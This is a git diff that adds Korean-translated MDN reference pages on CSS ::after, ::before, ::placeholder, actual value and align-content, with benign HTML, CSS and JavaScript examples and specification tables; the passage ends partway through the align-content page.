+<h3 id="툴팁">툴팁</h3>
+
+<p>다음 예제는 <code>::after</code>와 함께 CSS {{cssxref("attr", "attr()")}} 표현식, <code>data-descr</code> <a href="/ko/docs/Web/HTML/Global_attributes/data-*">사용자 설정 데이터 속성</a>을 사용해 툴팁을 구현합니다. JavaScript 없이요!</p>
+
+<p><code>tabindex="0"</code>을 추가해 각 <code>span</code>에 포커스가 갈 수 있도록 지정한 후, CSS <code>:focus</code> 선택자를 추가하여 키보드 사용자도 지원할 수 있습니다. 예제를 통해 ::before와 ::after가 얼마나 유연한지 확인할 수 있지만, 가장 접근성이 뛰어난 구현을 위해서라면 <a href="/ko/docs/Web/HTML/Element/details">요약과 세부 요소</a>처럼 의미를 담은 요소를 활용하는 편이 좋습니다.</p>
+
+<h4 id="HTML_3">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;이 예제는
+ &lt;span tabindex="0" data-descr="단어와 문장 부호의 집합"&gt;텍스트&lt;/span&gt;와 함께 약간의
+ &lt;span tabindex="0" data-descr="호버 시 보여지는 작은 팝업"&gt;툴팁&lt;/span&gt;을 포함합니다.
+&lt;/p&gt;
+</pre>
+
+<h4 id="CSS_3">CSS</h4>
+
+<pre class="brush: css">span[data-descr] {
+ position: relative;
+ text-decoration: underline;
+ color: #00F;
+ cursor: help;
+}
+
+span[data-descr]:hover::after,
+span[data-descr]:focus::after {
+ content: attr(data-descr);
+ position: absolute;
+ left: 0;
+ top: 24px;
+ min-width: 200px;
+ border: 1px #aaaaaa solid;
+ border-radius: 10px;
+ background-color: #ffffcc;
+ padding: 12px;
+ color: #000000;
+ font-size: 14px;
+ z-index: 1;
+}</pre>
+
+<h4 id="결과_3">결과</h4>
+
+<p>{{EmbedLiveSample('툴팁', 450, 120)}}</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('CSS4 Pseudo-Elements', '#selectordef-after', '::after')}}</td>
+ <td>{{ Spec2('CSS4 Pseudo-Elements')}}</td>
+ <td>No significant changes to the previous specification.</td>
+ </tr>
+ <tr>
+ <td>{{ Specname("CSS3 Transitions", "#animatable-properties", "") }}</td>
+ <td>{{ Spec2("CSS3 Transitions")}}</td>
+ <td>Allows transitions on properties defined on pseudo-elements.</td>
+ </tr>
+ <tr>
+ <td>{{ Specname("CSS3 Animations", "", "") }}</td>
+ <td>{{ Spec2("CSS3 Animations")}}</td>
+ <td>Allows animations on properties defined on pseudo-elements.</td>
+ </tr>
+ <tr>
+ <td>{{ SpecName('CSS3 Selectors', '#gen-content', '::after') }}</td>
+ <td>{{ Spec2('CSS3 Selectors') }}</td>
+ <td>Introduces the two-colon syntax.</td>
+ </tr>
+ <tr>
+ <td>{{ SpecName('CSS2.1', 'generate.html#before-after-content', '::after') }}</td>
+ <td>{{ Spec2('CSS2.1') }}</td>
+ <td>Initial definition, using the one-colon syntax</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.selectors.after")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{CSSxRef("::before")}}</li>
+ <li>{{CSSxRef("content")}}</li>
+</ul>
diff --git a/files/ko/web/css/_doublecolon_before/index.html b/files/ko/web/css/_doublecolon_before/index.html
new file mode 100644
index 0000000000..211107af88
--- /dev/null
+++ b/files/ko/web/css/_doublecolon_before/index.html
@@ -0,0 +1,237 @@
+---
+title: '::before (:before)'
+slug: 'Web/CSS/::before'
+tags:
+ - CSS
+ - Layout
+ - Pseudo-element
+ - Reference
+ - Web
+translation_of: 'Web/CSS/::before'
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary">CSS에서, <strong><code>::before</code></strong>는 선택한 요소의 첫 자식으로 <a href="/ko/docs/Web/CSS/Pseudo-elements">의사 요소</a>를 하나 생성합니다. 보통 {{cssxref("content")}} 속성과 함께 짝지어, 요소에 장식용 콘텐츠를 추가할 때 사용합니다.</span> 기본값은 인라인입니다.</p>
+
+<pre class="brush: css no-line-numbers language-css"><code class="language-css"><span class="comment token">/* 링크 앞에 하트 추가 */</span>
+<span class="selector token">a<span class="pseudo-class token">::after</span> </span><span class="punctuation token">{</span>
+ <span class="property token">content: "</span></code>♥<code class="language-css"><span class="property token">";</span>
+<span class="punctuation token">}</span></code></pre>
+
+<div class="note">
+<p><strong>참고:</strong> <code>::before</code>와 <code>::after</code>로 생성한 의사 요소는 <a href="https://www.w3.org/TR/CSS2/generate.html#before-after-content">원본 요소의 서식 박스에 포함되므로</a>,<em> </em>{{HTMLElement("img")}}나 {{HTMLElement("br")}} 등 <a href="/ko/docs/Web/CSS/Replaced_element">대체 요소</a>에 적용할 수 없습니다.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<div class="note">
+<p><strong>참고:</strong> <a href="/ko/docs/Web/CSS/Pseudo-classes">의사 클래스</a>와 <a href="/ko/docs/Web/CSS/Pseudo-elements">의사 요소</a>를 구분하기 위해 CSS3부터<code>::before</code> 구문을 도입했습니다. 그러나 브라우저는 CSS2 구문인 <code>:before</code>도 허용합니다.</p>
+</div>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="인용_표시_추가">인용 표시 추가</h3>
+
+<p>One simple example of using <code>::before</code> pseudo-elements is to provide quotation marks. Here we use both <code>::before</code> and <code>{{Cssxref("::after")}}</code> to insert quotation characters.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush:html">&lt;q&gt;Some quotes,&lt;/q&gt; he said, &lt;q&gt;are better than none.&lt;/q&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush:css">q::before {
+ content: "«";
+ color: blue;
+}
+
+q::after {
+ content: "»";
+ color: red;
+}</pre>
+
+<h4 id="Result">Result</h4>
+
+<p>{{EmbedLiveSample('인용_표시_추가', '500', '50', '')}}</p>
+
+<h3 id="장식_예제">장식 예제</h3>
+
+<p>We can style text or images in the {{cssxref("content")}} property almost any way we want.</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;span class="ribbon"&gt;Notice where the orange box is.&lt;/span&gt;</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css">.ribbon {
+ background-color: #5BC8F7;
+}
+
+.ribbon::before {
+ content: "Look at this orange box.";
+ background-color: #FFBA10;
+ border-color: black;
+ border-style: dotted;
+}</pre>
+
+<h4 id="Result_2">Result</h4>
+
+<p>{{EmbedLiveSample('장식_예제', 450, 60)}}</p>
+
+<h3 id="할_일_목록">할 일 목록</h3>
+
+<p>In this example we will create a simple to-do list using pseudo-elements. This method can often be used to add small touches to the UI and improve user experience.</p>
+
+<h4 id="HTML_3">HTML</h4>
+
+<pre class="brush: html">&lt;ul&gt;
+ &lt;li&gt;Buy milk&lt;/li&gt;
+ &lt;li&gt;Take the dog for a walk&lt;/li&gt;
+ &lt;li&gt;Exercise&lt;/li&gt;
+ &lt;li&gt;Write code&lt;/li&gt;
+ &lt;li&gt;Play music&lt;/li&gt;
+ &lt;li&gt;Relax&lt;/li&gt;
+&lt;/ul&gt;
+</pre>
+
+<h4 id="CSS_3">CSS</h4>
+
+<pre class="brush: css">li {
+ list-style-type: none;
+ position: relative;
+ margin: 2px;
+ padding: 0.5em 0.5em 0.5em 2em;
+ background: lightgrey;
+ font-family: sans-serif;
+}
+
+li.done {
+ background: #CCFF99;
+}
+
+li.done::before {
+ content: '';
+ position: absolute;
+ border-color: #009933;
+ border-style: solid;
+ border-width: 0 0.3em 0.25em 0;
+ height: 1em;
+ top: 1.3em;
+ left: 0.6em;
+ margin-top: -1em;
+ transform: rotate(45deg);
+ width: 0.5em;
+}</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js">var list = document.querySelector('ul');
+list.addEventListener('click', function(ev) {
+ if (ev.target.tagName === 'LI') {
+ ev.target.classList.toggle('done');
+ }
+}, false);
+</pre>
+
+<p>Here is the above code example running live. Note that there are no icons used, and the check-mark is actually the <code>::before</code> that has been styled in CSS. Go ahead and get some stuff done.</p>
+
+<h4 id="Result_3">Result</h4>
+
+<p>{{EmbedLiveSample('할_일_목록', 400, 300)}}</p>
+
+<h3 id="특수문자">특수문자</h3>
+
+<p>As this is CSS; not HTML, you can <strong>not </strong>use markup entities in content values. If you need to use a special character, and can not enter it literally into your CSS content string, use a unicodeescape sequence, consistingof a backslash followed by the hexadecimal unicode value.</p>
+
+<h4 id="HTML_4">HTML</h4>
+
+<pre class="brush: html">&lt;ol&gt;
+ &lt;li&gt;Crack Eggs into bowl&lt;/li&gt;
+ &lt;li&gt;Add Milk&lt;/li&gt;
+ &lt;li&gt;Add Flour&lt;/li&gt;
+ &lt;li aria-current='step'&gt;Mix thoroughly into a smooth batter&lt;/li&gt;
+ &lt;li&gt;Pour a ladleful of batter onto a hot, greased, flat frying pan&lt;/li&gt;
+ &lt;li&gt;Fry until the top of the pancake loses its gloss&lt;/li&gt;
+ &lt;li&gt;Flip it over and fry for a couple more minutes&lt;/li&gt;
+ &lt;li&gt;serve with your favorite topping&lt;/li&gt;
+&lt;/ol&gt;
+</pre>
+
+<h4 id="CSS_4">CSS</h4>
+
+<pre class="brush: css"><code class="language-css">
+li {
+ padding:0.5em;
+}
+
+li[aria-current='step'] {
+ font-weight:bold;
+}
+
+li[aria-current='step']::after {
+ content: " \21E6"; /* Hexadecimal for Unicode Leftwards white arrow*/
+ display: inline;
+}
+</code>
+</pre>
+
+<h4 id="Result_4">Result</h4>
+
+<p>{{EmbedLiveSample('특수문자', 400, 200)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS4 Pseudo-Elements', '#selectordef-before', '::before')}}</td>
+ <td>{{Spec2('CSS4 Pseudo-Elements')}}</td>
+ <td>No significant changes to the previous specification.</td>
+ </tr>
+ <tr>
+ <td>{{Specname("CSS3 Transitions", "#animatable-properties", "")}}</td>
+ <td>{{Spec2("CSS3 Transitions")}}</td>
+ <td>Allows transitions on properties defined on pseudo-elements.</td>
+ </tr>
+ <tr>
+ <td>{{Specname("CSS3 Animations", "", "")}}</td>
+ <td>{{Spec2("CSS3 Animations")}}</td>
+ <td>Allows animations on properties defined on pseudo-elements.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS3 Selectors', '#gen-content', '::before')}}</td>
+ <td>{{Spec2('CSS3 Selectors')}}</td>
+ <td>Introduces the two-colon syntax.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS2.1', 'generate.html#before-after-content', '::before')}}</td>
+ <td>{{Spec2('CSS2.1')}}</td>
+ <td>Initial definition, using the one-colon syntax</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("css.selectors.before")}}</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{Cssxref("::after")}}</li>
+ <li>{{Cssxref("content")}}</li>
+</ul>
diff --git a/files/ko/web/css/_doublecolon_placeholder/index.html b/files/ko/web/css/_doublecolon_placeholder/index.html
new file mode 100644
index 0000000000..0a6c4a093f
--- /dev/null
+++ b/files/ko/web/css/_doublecolon_placeholder/index.html
@@ -0,0 +1,147 @@
+---
+title: '::placeholder'
+slug: 'Web/CSS/::placeholder'
+translation_of: 'Web/CSS/::placeholder'
+---
+<div>{{CSSRef}}</div>
+
+<p>The <strong><code>::placeholder</code></strong> <a href="/en-US/docs/Web/CSS">CSS</a> <a href="/en-US/docs/Web/CSS/Pseudo-elements">pseudo-element</a> represents the <a href="/en-US/docs/Web/HTML/Forms_in_HTML#The_placeholder_attribute">placeholder text</a> in an {{HTMLElement("input")}} or {{HTMLElement("textarea")}} element.</p>
+
+<pre class="brush: css no-line-numbers notranslate">::placeholder {
+ color: blue;
+ font-size: 1.5em;
+}</pre>
+
+<p>Only the subset of CSS properties that apply to the {{cssxref("::first-line")}} pseudo-element can be used in a rule using <code>::placeholder</code> in its selector.</p>
+
+<div class="note">
+<p><strong>Note:</strong> In most browsers, the appearance of placeholder text is a translucent or light gray color by default.</p>
+</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="Accessibility_concerns">Accessibility concerns</h2>
+
+<h3 id="Color_contrast">Color contrast</h3>
+
+<h4 id="Contrast_Ratio">Contrast Ratio</h4>
+
+<p>Placeholder text typically has a lighter color treatment to indicate that it is a suggestion for what kind of input will be valid, and is not actual input of any kind.</p>
+
+<p>It is important to ensure that the contrast ratio between the color of the placeholder text and the background of the input is high enough that people experiencing low vision conditions will be able to read it while also making sure there is enough of a difference between the placeholder text and input text color that users do not mistake the placeholder for inputed data.</p>
+
+<p>Color contrast ratio is determined by comparing the luminosity of the placeholder text and the input background color values. In order to meet current <a href="https://www.w3.org/WAI/intro/wcag">Web Content Accessibility Guidelines (WCAG)</a>, a ratio of 4.5:1 is required for text content and 3:1 for larger text such as headings. Large text is defined as 18.66px and bold or larger, or 24px or larger.</p>
+
+<ul>
+ <li><a href="https://webaim.org/resources/contrastchecker/" rel="noopener">WebAIM: Color Contrast Checker</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.4_Make_it_easier_for_users_to_see_and_hear_content_including_separating_foreground_from_background">MDN Understanding WCAG, Guideline 1.4 explanations</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-contrast.html" rel="noopener">Understanding Success Criterion 1.4.3 | W3C Understanding WCAG 2.0</a></li>
+</ul>
+
+<h4 id="Usability">Usability</h4>
+
+<p>Placeholder text with sufficient color contrast may be interpreted as entered input. Placeholder text will also disappear when a person enters content into an {{htmlelement("input")}} element. Both of these circumstances can interfere with successful form completion, especially for people with cognitive concerns.</p>
+
+<p>An alternate approach to providing placeholder information is to include it outside of the input in close visual proximity, then use <code><a href="/en-US/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-describedby_attribute">aria-describedby</a></code> to programmatically associate the {{HTMLElement("input")}} with its hint.</p>
+
+<p>With this implementation, the hint content is available even if information is entered into the input field, and the input appears free of preexisting input when the page is loaded. Most screen reading technology will use <code>aria-describedby</code> to read the hint after the input's label text is announced, and the person using the screen reader can mute it if they find the extra information unnecessary.</p>
+
+<pre class="brush:html line-numbers language-html notranslate">&lt;label for="user-email"&gt;Your email address&lt;/label&gt;
+&lt;span id="user-email-hint" class="input-hint"&gt;Example: jane@sample.com&lt;/span&gt;
+&lt;input id="user-email" aria-describedby="user-email-hint" name="email" type="email"&gt;
+</pre>
+
+<ul>
+ <li><a href="https://www.nngroup.com/articles/form-design-placeholders/">Placeholders in Form Fields Are Harmful — Nielsen Norman Group</a></li>
+</ul>
+
+<h3 id="Windows_High_Contrast_Mode">Windows High Contrast Mode</h3>
+
+<p>Placeholder text will appear with the same styling as user-entered text content when rendered in <a href="/en-US/docs/Web/CSS/-ms-high-contrast">Windows High Contrast Mode</a>. This will make it difficult for some people to determine which content has been entered, and which content is placeholder text.</p>
+
+<ul>
+ <li><a href="http://www.gwhitworth.com/blog/2017/04/how-to-use-ms-high-contrast">Greg Whitworth — How to use -ms-high-contrast</a></li>
+</ul>
+
+<h3 id="Labels">Labels</h3>
+
+<p>Placeholders are not a replacement for the {{htmlelement("label")}} element. Without a label that has been programmatically associated with an input using a combination of the {{htmlattrxref("for", "label")}} and {{htmlattrxref("id")}} attributes, assistive technology such as screen readers cannot parse {{htmlelement("input")}} elements.</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/forms/Basic_form_hints">MDN Basic form hints</a></li>
+ <li><a href="https://www.nngroup.com/articles/form-design-placeholders/">Placeholders in Form Fields Are Harmful — Nielsen Norman Group</a></li>
+</ul>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Red_text">Red text</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush:html line-numbers language-html notranslate">&lt;input placeholder="Type something here!"&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">input::placeholder {
+ color: red;
+ font-size: 1.2em;
+ font-style: italic;
+}</pre>
+
+<h4 id="Result">Result</h4>
+
+<p>{{EmbedLiveSample("Red_text", 200, 60)}}</p>
+
+<h3 id="Green_text">Green text</h3>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush:html line-numbers language-html notranslate">&lt;input placeholder="Type something here..."&gt;</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css notranslate">input::placeholder {
+ color: green;
+}
+</pre>
+
+<h4 id="Result_2">Result</h4>
+
+<p>{{EmbedLiveSample("Green_text", 200, 60)}}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS4 Pseudo-Elements', '#placeholder-pseudo', '::placeholder')}}</td>
+ <td>{{Spec2('CSS4 Pseudo-Elements')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("css.selectors.placeholder")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>The {{cssxref(":placeholder-shown")}} pseudo-class styles an element that <em>has</em> an active placeholder.</li>
+ <li>Related HTML elements: {{HTMLElement("input")}}, {{HTMLElement("textarea")}}</li>
+ <li><a href="/en-US/docs/Learn/HTML/Forms">HTML forms</a></li>
+</ul>
diff --git a/files/ko/web/css/actual_value/index.html b/files/ko/web/css/actual_value/index.html
new file mode 100644
index 0000000000..9b9bf9ce2f
--- /dev/null
+++ b/files/ko/web/css/actual_value/index.html
@@ -0,0 +1,47 @@
+---
+title: 실제값
+slug: Web/CSS/actual_value
+tags:
+ - CSS
+ - Reference
+translation_of: Web/CSS/actual_value
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> 속성의 <strong>실제값</strong>은 모든 근사치(approximation)가 적용된 뒤의 <a href="/ko/docs/Web/CSS/used_value">사용값</a>입니다. 예를 들어, 사용자 에이전트는 오직 정수 픽셀값으로 테두리(border)를 렌더링할 수도 있고 테두리의 계산된 폭(width)에 근접하도록 강제할 지도 모릅니다.</p>
+
+<h2 id="Calculating_a_property's_actual_value">Calculating a property's actual value</h2>
+
+<p>The {{glossary("user agent")}} performs four steps to calculate a property's actual (final) value:</p>
+
+<ol>
+ <li>First, the <a href="/ko/docs/CSS/specified_value" title="https://developer.mozilla.org/en/CSS/specified_value">specified value</a> is determined based on the result of <a href="/ko/docs/Web/CSS/Cascade">cascading</a>, <a href="/ko/docs/Web/CSS/inheritance" title="en/CSS/inheritance">inheritance</a>, or using the <a href="/ko/docs/Web/CSS/initial_value">initial value</a>.</li>
+ <li>Next, the <a href="/ko/docs/Web/CSS/computed_value" title="en/CSS/computed value">computed value</a> is calculated according to the specification (for example, a <code>span</code> with <code>position: absolute</code> will have its computed <code>display</code> changed to <code>block</code>).</li>
+ <li>Then, layout is calculated, resulting in the <a href="/ko/docs/Web/CSS/used_value">used value</a>.</li>
+ <li>Finally, the used value is transformed according to the limitations of the local environment, resulting in the actual value.</li>
+</ol>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS2.1', 'cascade.html#actual-value', 'actual value')}}</td>
+ <td>{{Spec2('CSS2.1')}}</td>
+ <td>초기 정의.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{CSS_key_concepts}}</li>
+</ul>
diff --git a/files/ko/web/css/align-content/index.html b/files/ko/web/css/align-content/index.html
new file mode 100644
index 0000000000..43c4ece03e
--- /dev/null
+++ b/files/ko/web/css/align-content/index.html
@@ -0,0 +1,297 @@
+---
+title: align-content
+slug: Web/CSS/align-content
+tags:
+ - CSS
+ - CSS Box Alignment
+ - CSS Property
+ - Reference
+translation_of: Web/CSS/align-content
+---
+<p><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>align-content</code></strong> 속성은 콘텐츠 사이와 콘텐츠 주위 빈 공간을 <a href="/ko/docs/Web/CSS/CSS_Flexible_Box_Layout">플렉스박스</a>의 교차축, <a href="/ko/docs/Web/CSS/CSS_Grid_Layout">그리드</a>의 블록 축을 따라 배치하는 방식을 결정합니다.</p>
+
+<p>아래의 대화형 예제는 그리드 레이아웃을 사용해 이 속성의 값을 시연합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/align-content.html")}}</div>
+
+
+
+<p>이 속성은 한 줄로만 이루어진 플렉스 컨테이너에는 아무 효과도 없습니다. (<code>flex-wrap: nowrap</code> 등)</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush:css no-line-numbers notranslate">/* Basic positional alignment */
+/* align-content does not take left and right values */
+align-content: center; /* Pack items around the center */
+align-content: start; /* Pack items from the start */
+align-content: end; /* Pack items from the end */
+align-content: flex-start; /* Pack flex items from the start */
+align-content: flex-end; /* Pack flex items from the end */
+
+/* Normal alignment */
+align-content: normal;
+
+/* Baseline alignment */
+align-content: baseline;
+align-content: first baseline;
+align-content: last baseline;
+
+/* Distributed alignment */
+align-content: space-between; /* Distribute items evenly
+ The first item is flush with the start,
+ the last is flush with the end */
+align-content: space-around; /* Distribute items evenly
+ Items have a half-size space
+ on either end */
+align-content: space-evenly; /* Distribute items evenly
+ Items have equal space around them */
+align-content: stretch; /* Distribute items evenly
+ Stretch 'auto'-sized items to fit
+ the container */
+
+/* Overflow alignment */
+align-content: safe center;
+align-content: unsafe center;
+
+/* Global values */
+align-content: inherit;
+align-content: initial;
+align-content: unset;
+</pre>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>start</code></dt>
+ <dd>플렉스/그리드 항목을 한 덩어리로 뭉쳐서 정렬 컨테이너 교차축의 시작 모서리에 배치합니다.</dd>
+ <dt><code>end</code></dt>
+ <dd>플렉스/그리드 항목을 한 덩어리로 뭉쳐서 정렬 컨테이너 교차축의 끝 모서리에 배치합니다.</dd>
+ <dt><code>flex-start</code></dt>
+ <dd>플렉스 항목을 한 덩어리로 뭉치고, 플렉스 컨테이너의 교차 시작점에 따라 정렬 컨테이너 모서리에 배치합니다.<br>
+ 플렉스 레이아웃 항목에만 적용됩니다. 플렉스 컨테이너의 자식이 아닌 항목에 대해서는 <code>start</code>로 취급합니다.</dd>
+ <dt><code>flex-end</code></dt>
+ <dd>플렉스 항목을 한 덩어리로 뭉치고, 플렉스 컨테이너의 교차 끝점에 따라 정렬 컨테이너 모서리에 배치합니다.<br>
+ 플렉스 레이아웃 항목에만 적용됩니다. 플렉스 컨테이너의 자식이 아닌 항목에 대해서는 <code>end</code>로 취급합니다.</dd>
+ <dt><code>center</code></dt>
+ <dd>플렉스/그리드 항목을 한 덩어리로 뭉쳐서 정렬 컨테이너 교차축의 중앙에 배치합니다.</dd>
+ <dt><code>normal</code></dt>
+ <dd><code>align-content</code>를 지정하지 않았을 때처럼, 플렉스/그리드 항목을 한 덩어리로 뭉쳐서 기본 위치에 배치합니다.</dd>
+ <dt><code>baseline<br>
+ first baseline</code><br>
+ <code>last baseline</code></dt>
+ <dd><img alt='the baseline is the line upon which most letters "sit" and below which descenders extend.' src="https://upload.wikimedia.org/wikipedia/commons/thumb/3/39/Typography_Line_Terms.svg/410px-Typography_Line_Terms.svg.png" style="height: 110px; width: 410px;"></dd>
+ <dd>Specifies participation in first- or last-baseline alignment: aligns the alignment baseline of the box’s first or last baseline set with the corresponding baseline in the shared first or last baseline set of all the boxes in its baseline-sharing group.<br>
+ <code>first baseline</code>의 대체 정렬은 <code>start</code>이며 <code>last baseline</code>의 대체 정렬은 <code>end</code>입니다.</dd>
+ <dt><code>space-between</code></dt>
+ <dd>정렬 컨테이너의 교차축을 따라 항목을 고르게 배치합니다. 이웃한 항목간의 거리가 동일해집니다. 첫 항목은 정렬 컨테이너 교차축의 시작점에, 마지막 항목은 정렬 컨테이너 교차축의 종료점에 붙입니다.</dd>
+ <dt><code>space-around</code></dt>
+ <dd>정렬 컨테이너의 교차축을 따라 항목을 고르게 배치합니다. 이웃한 항목간의 거리가 동일해집니다. 첫 항목 이전 여백과 마지막 항목 이후 여백은 각 항목간 거리의 절반이 됩니다.</dd>
+ <dt><code>space-evenly</code></dt>
+ <dd>정렬 컨테이너의 교차축을 따라 항목을 고르게 배치합니다. 이웃한 항목간의 거리, 첫 항목 이전 여백, 마지막 항목 이후 여백이 모두 같아집니다.</dd>
+ <dt><code>stretch</code></dt>
+ <dd>모든 항목의 교차축 방향 크기의 합이 정렬 컨테이너보다 작은 경우, 모든 <code>auto</code> 크기의 항목이 동일(비례하지 않음)하게 커져서 정렬 컨테이너의 교차축 방향을 가득 채웁니다. 단, 항목에 지정한 {{cssxref("max-height")}}/{{cssxref("max-width")}} 등의 크기 제한은 준수합니다.</dd>
+ <dt><code>safe</code></dt>
+ <dd>정렬 키워드와 함께 사용합니다. 주어진 키워드로 인해 항목이 정렬 컨테이너 밖으로 오버플로하게 되어 데이터가 유실될 수 있으면 항목 정렬에 <code>start</code>를 대신 사용합니다.</dd>
+ <dt><code>unsafe</code></dt>
+ <dd>정렬 키워드와 함께 사용합니다. 컨테이너와 항목의 상대적 크기 및 오버플로로 인한 데이터 유실에 상관하지 않고 주어진 정렬을 준수합니다.</dd>
+</dl>
+
+<h2 id="형식_정의">형식 정의</h2>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="형식_구문">형식 구문</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css; highlight[4] notranslate">#container {
+ height:200px;
+ width: 240px;
+ align-content: center; /* Can be changed in the live sample */
+ background-color: #8c8c8c;
+}
+
+.flex {
+ display: flex;
+ flex-wrap: wrap;
+}
+
+.grid {
+ display: grid;
+ grid-template-columns: repeat(auto-fill, 50px);
+}
+
+div &gt; div {
+ box-sizing: border-box;
+ border: 2px solid #8c8c8c;
+ width: 50px;
+ display: flex;
+ align-items: center;
+ justify-content: center;
+}
+
+#item1 {
+ background-color: #8cffa0;
+ min-height: 30px;
+}
+
+#item2 {
+ background-color: #a0c8ff;
+ min-height: 50px;
+}
+
+#item3 {
+ background-color: #ffa08c;
+ min-height: 40px;
+}
+
+#item4 {
+ background-color: #ffff8c;
+ min-height: 60px;
+}
+
+#item5 {
+ background-color: #ff8cff;
+ min-height: 70px;
+}
+
+#item6 {
+ background-color: #8cffff;
+ min-height: 50px;
+ font-size: 30px;
+}
+
+select {
+ font-size: 16px;
+}
+
+.row {
+ margin-top: 10px;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;div id="container" class="flex"&gt;
+ &lt;div id="item1"&gt;1&lt;/div&gt;
+ &lt;div id="item2"&gt;2&lt;/div&gt;
+ &lt;div id="item3"&gt;3&lt;/div&gt;
+ &lt;div id="item4"&gt;4&lt;/div&gt;
+ &lt;div id="item5"&gt;5&lt;/div&gt;
+ &lt;div id="item6"&gt;6&lt;/div&gt;
+&lt;/div&gt;
+
+&lt;div class="row"&gt;
+ &lt;label for="display"&gt;display: &lt;/label&gt;
+ &lt;select id="display"&gt;
+ &lt;option value="flex"&gt;flex&lt;/option&gt;
+ &lt;option value="grid"&gt;grid&lt;/option&gt;
+ &lt;/select&gt;
+&lt;/div&gt;
+
+&lt;div class="row"&gt;
+ &lt;label for="values"&gt;align-content: &lt;/label&gt;
+ &lt;select id="values"&gt;
+ &lt;option value="normal"&gt;normal&lt;/option&gt;
+ &lt;option value="stretch"&gt;stretch&lt;/option&gt;
+ &lt;option value="flex-start"&gt;flex-start&lt;/option&gt;
+ &lt;option value="flex-end"&gt;flex-end&lt;/option&gt;
+ &lt;option value="center" selected&gt;center&lt;/option&gt;
+ &lt;option value="space-between"&gt;space-between&lt;/option&gt;
+ &lt;option value="space-around"&gt;space-around&lt;/option&gt;
+ &lt;option value="space-evenly"&gt;space-evenly&lt;/option&gt;
+
+ &lt;option value="start"&gt;start&lt;/option&gt;
+ &lt;option value="end"&gt;end&lt;/option&gt;
+ &lt;option value="left"&gt;left&lt;/option&gt;
+ &lt;option value="right"&gt;right&lt;/option&gt;
+
+ &lt;option value="baseline"&gt;baseline&lt;/option&gt;
+ &lt;option value="first baseline"&gt;first baseline&lt;/option&gt;
+ &lt;option value="last baseline"&gt;last baseline&lt;/option&gt;
+
+ &lt;option value="safe center"&gt;safe center&lt;/option&gt;
+ &lt;option value="unsafe center"&gt;unsafe center&lt;/option&gt;
+ &lt;option value="safe right"&gt;safe right&lt;/option&gt;
+ &lt;option value="unsafe right"&gt;unsafe right&lt;/option&gt;
+ &lt;option value="safe end"&gt;safe end&lt;/option&gt;
